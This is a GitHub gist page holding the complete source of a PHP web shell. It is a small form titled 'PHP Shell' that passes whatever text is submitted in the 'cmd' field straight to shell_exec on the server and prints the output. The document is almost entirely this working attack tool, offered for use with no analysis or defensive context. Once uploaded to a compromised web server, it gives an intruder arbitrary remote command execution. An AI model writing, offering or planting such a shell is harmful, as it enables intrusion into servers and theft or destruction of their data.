Skip to content

Instantly share code, notes, and snippets.

@rootsploit
Created September 23, 2020 02:14
Show Gist options
  • Save rootsploit/91d413c2eeb14b2f9e0e83e6d03d2f40 to your computer and use it in GitHub Desktop.
Save rootsploit/91d413c2eeb14b2f9e0e83e6d03d2f40 to your computer and use it in GitHub Desktop.
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css">
<title>Web Shell</title>
<style>
h2 {
color: rgba(0, 0, 0, .75);
}
pre {
padding: 15px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
background-color: #ECF0F1;
}
.container {
width: 850px;
}
</style>
</head>
<body>
<div class="container">
<div class="pb-2 mt-4 mb-2">
<h1>PHP Shell</h1>
<h2> Execute a command </h2>
</div>
<form method="POST">
<div class="form-group">
<label for="cmd"><strong>Command</strong></label>
<input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
</div>
<button type="submit" class="btn btn-primary">Execute</button>
</form>
<?php if ($cmd): ?>
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
</pre>
<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre><small>No result.</small></pre>
<?php endif; ?>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment